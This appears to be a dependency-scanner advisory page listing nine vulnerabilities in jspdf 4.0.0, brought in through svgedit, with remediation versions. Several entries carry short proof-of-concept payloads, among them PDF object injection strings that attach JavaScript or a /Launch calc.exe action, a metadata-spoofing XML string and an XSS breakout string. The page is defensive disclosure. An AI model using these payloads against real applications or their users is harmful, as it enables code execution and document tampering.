Find, fix and prevent vulnerabilities in your code.
high severity
- Vulnerable module: jspdf
- Introduced through: jspdf@4.0.0
Detailed paths
-
Introduced through: svgedit@SVG-Edit/svgedit#f6fbc8d9ffb6097b61982a8ec5cc4a06df8e6a96 › jspdf@4.0.0Remediation: Upgrade to jspdf@4.1.0.
Overview
jspdf is a PDF Document creation from JavaScript
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the addImage and html methods when processing BMP image data with unvalidated dimensions. An attacker can cause excessive memory allocation and application unavailability by supplying a BMP file with large width or height values.
Workaround
This vulnerability can be mitigated by sanitizing image data or URLs before passing them to the affected methods.
PoC
import { jsPDF } from "jspdf"
// malicious BMP image data with large width/height headers
const payload = ...
const doc = new jsPDF();
doc.addImage(payload, "BMP", 0, 0, 100, 100);
Remediation
Upgrade jspdf to version 4.1.0 or higher.
References
high severity
- Vulnerable module: jspdf
- Introduced through: jspdf@4.0.0
Detailed paths
-
Introduced through: svgedit@SVG-Edit/svgedit#f6fbc8d9ffb6097b61982a8ec5cc4a06df8e6a96 › jspdf@4.0.0Remediation: Upgrade to jspdf@4.2.0.
Overview
jspdf is a PDF Document creation from JavaScript
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the addImage and html methods. An attacker can cause excessive memory allocation and application unavailability by supplying malicious GIF files with large width or height values as image data or URLs.
Workaround
This vulnerability can be mitigated by sanitizing image data or URLs before passing them to the affected methods.
PoC
import { jsPDF } from "jspdf"
// malicious GIF image data with large width/height headers
const payload = ...
const doc = new jsPDF();
doc.addImage(payload, "GIF", 0, 0, 100, 100);
Remediation
Upgrade jspdf to version 4.2.0 or higher.
References
high severity
- Vulnerable module: jspdf
- Introduced through: jspdf@4.0.0
Detailed paths
-
Introduced through: svgedit@SVG-Edit/svgedit#f6fbc8d9ffb6097b61982a8ec5cc4a06df8e6a96 › jspdf@4.0.0Remediation: Upgrade to jspdf@4.2.0.
Overview
jspdf is a PDF Document creation from JavaScript
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the addJS method. An attacker can inject arbitrary PDF objects and execute malicious actions or alter the document structure by supplying specially crafted input that escapes the JavaScript string delimiter. This can impact any user who opens the generated PDF.
Workaround
This vulnerability can be mitigated by escaping parentheses in user-provided JavaScript code before passing them to the addJS method.
PoC
import { jsPDF } from "jspdf";
const doc = new jsPDF();
// Payload:
// 1. ) closes the JS string.
// 2. > closes the current dictionary.
// 3. /AA ... injects an "Additional Action" that executes on focus/open.
const maliciousPayload = "console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>";
doc.addJS(maliciousPayload);
doc.save("vulnerable.pdf");
Remediation
Upgrade jspdf to version 4.2.0 or higher.
References
high severity
- Vulnerable module: jspdf
- Introduced through: jspdf@4.0.0
Detailed paths
-
Introduced through: svgedit@SVG-Edit/svgedit#f6fbc8d9ffb6097b61982a8ec5cc4a06df8e6a96 › jspdf@4.0.0Remediation: Upgrade to jspdf@4.2.0.
Overview
jspdf is a PDF Document creation from JavaScript
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the appearanceState property of the AcroForm module. An attacker can execute arbitrary JavaScript code in the context of the PDF viewer by injecting malicious input into this property, which is then triggered when a victim interacts with a crafted PDF file.
Workaround
This vulnerability can be mitigated by sanitizing user input before passing it to the affected API members.
PoC
import { jsPDF } from "jspdf"
const doc = new jsPDF();
const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
doc.addField(group);
const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";
doc.save("test.pdf");
Remediation
Upgrade jspdf to version 4.2.0 or higher.
References
high severity
- Vulnerable module: jspdf
- Introduced through: jspdf@4.0.0
Detailed paths
-
Introduced through: svgedit@SVG-Edit/svgedit#f6fbc8d9ffb6097b61982a8ec5cc4a06df8e6a96 › jspdf@4.0.0Remediation: Upgrade to jspdf@4.1.0.
Overview
jspdf is a PDF Document creation from JavaScript
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the AcroformChoiceField.addOption, AcroformChoiceField.setOptions, AcroFormCheckBox.appearanceState, or AcroFormRadioButton.appearanceState functions. An attacker can execute arbitrary JavaScript code in the PDF reader's context by injecting malicious PDF objects, such as JavaScript actions, which are triggered when the user opens the PDF document.
Workaround
This vulnerability can be mitigated by sanitizing user input before passing it to the affected API members.
PoC
import { jsPDF } from "jspdf"
const doc = new jsPDF();
var choiceField = new doc.AcroFormChoiceField();
choiceField.T = "VulnerableField";
choiceField.x = 20;
choiceField.y = 20;
choiceField.width = 100;
choiceField.height = 20;
// PAYLOAD:
// 1. Starts with "/" to bypass escaping.
// 2. "dummy]" closes the array.
// 3. "/AA" injects an Additional Action (Focus event).
// 4. "/JS" executes arbitrary JavaScript.
const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [";
choiceField.addOption(payload);
doc.addField(choiceField);
doc.save("test.pdf");
Remediation
Upgrade jspdf to version 4.1.0 or higher.
References
medium severity
- Vulnerable module: jspdf
- Introduced through: jspdf@4.0.0
Detailed paths
-
Introduced through: svgedit@SVG-Edit/svgedit#f6fbc8d9ffb6097b61982a8ec5cc4a06df8e6a96 › jspdf@4.0.0Remediation: Upgrade to jspdf@4.1.0.
Overview
jspdf is a PDF Document creation from JavaScript
Affected versions of this package are vulnerable to XML Injection via the addMetadata function. An attacker can compromise the integrity of generated PDF files by injecting arbitrary XML into the XMP metadata, potentially spoofing document authorship or other metadata fields.
Workaround
Sanitize user input, e.g., escaping XML entities before passing it to the addMetadata method.
PoC
import { jsPDF } from "jspdf"
const doc = new jsPDF()
// Input a string that closes the current XML tag and opens a new one.
// We are injecting a fake "dc:creator" (Author) to spoof the document source.
const maliciousInput = '</jspdf:metadata></rdf:Description>' +
'<rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/">' +
'<dc:creator>TRUSTED_ADMINISTRATOR</dc:creator>' + // <--- Spoofed Identity
'</rdf:Description>' +
'<rdf:Description><jspdf:metadata>'
// The application innocently adds the user's input to the metadata
doc.addMetadata(maliciousInput, "http://valid.namespace")
doc.save("test.pdf")
Remediation
Upgrade jspdf to version 4.1.0 or higher.
References
medium severity
new
- Vulnerable module: jspdf
- Introduced through: jspdf@4.0.0
Detailed paths
-
Introduced through: svgedit@SVG-Edit/svgedit#f6fbc8d9ffb6097b61982a8ec5cc4a06df8e6a96 › jspdf@4.0.0Remediation: Upgrade to jspdf@4.2.1.
Overview
jspdf is a PDF Document creation from JavaScript
Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in jspdf.js, when user-controlled values are passed to the options argument, then included unsanitized in the generated HTML and opened by another user. An attacker can cause the execution of scripts in the victim's browser context by supplying malicious input to the pdfObjectUrl option for "pdfobjectnewwindow", the pdfJsUrl and filename options for "pdfjsnewwindow", and the filename option for "dataurlnewwindow".
PoC
import { jsPDF } from 'jspdf';
const doc = new jsPDF();
const payload = 'x\"></iframe><script>window.__n=1</script><iframe src="';
doc.output('pdfjsnewwindow', {
filename: payload,
pdfJsUrl: 'viewer.html'
});
Details
Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.
This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.
Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.
Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as < and > can be coded as > in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.
The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.
Types of attacks
There are a few methods by which XSS can be manipulated:
| Type | Origin | Description |
|---|---|---|
| Stored | Server | The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link. |
| Reflected | Server | The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser. |
| DOM-based | Client | The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data. |
| Mutated | The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters. |
Affected environments
The following environments are susceptible to an XSS attack:
- Web servers
- Application servers
- Web application environments
How to prevent
This section describes the top best practices designed to specifically protect your code:
- Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
- Convert special characters such as
?,&,/,<,>and spaces to their respective HTML or URL encoded equivalents. - Give users the option to disable client-side scripts.
- Redirect invalid requests.
- Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
- Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
- Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.
Remediation
Upgrade jspdf to version 4.2.1 or higher.
References
medium severity
new
- Vulnerable module: jspdf
- Introduced through: jspdf@4.0.0
Detailed paths
-
Introduced through: svgedit@SVG-Edit/svgedit#f6fbc8d9ffb6097b61982a8ec5cc4a06df8e6a96 › jspdf@4.0.0Remediation: Upgrade to jspdf@4.2.1.
Overview
jspdf is a PDF Document creation from JavaScript
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the createAnnotation() method, whose color parameter can be injected with script objects. An attacker can inject PDF objects as freetext annotations, which may be executed when a user opens the file.
PoC
import { jsPDF } from 'jspdf'
const doc = new jsPDF();
const payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> (';
doc.createAnnotation({
type: 'freetext',
bounds: { x: 10, y: 10, w: 120, h: 20 },
contents: 'hello',
color: payload
});
doc.save('test.pdf');
Remediation
Upgrade jspdf to version 4.2.1 or higher.
References
low severity
- Vulnerable module: jspdf
- Introduced through: jspdf@4.0.0
Detailed paths
-
Introduced through: svgedit@SVG-Edit/svgedit#f6fbc8d9ffb6097b61982a8ec5cc4a06df8e6a96 › jspdf@4.0.0Remediation: Upgrade to jspdf@4.1.0.
Overview
jspdf is a PDF Document creation from JavaScript
Affected versions of this package are vulnerable to Race Condition in the addJS function due to the use of a shared module-scoped variable for storing JavaScript content. An attacker can cause sensitive data intended for one user to be included in another user's PDF by making concurrent requests that exploit the shared state.
Note: This is only exploitable when used in a concurrent environment, e.g., on a Node.js web server.
Workaround
This vulnerability can be mitigated by avoiding the use of the addJS method in concurrent server-side environments or by ensuring requests are processed sequentially, such as with a queue.
Remediation
Upgrade jspdf to version 4.1.0 or higher.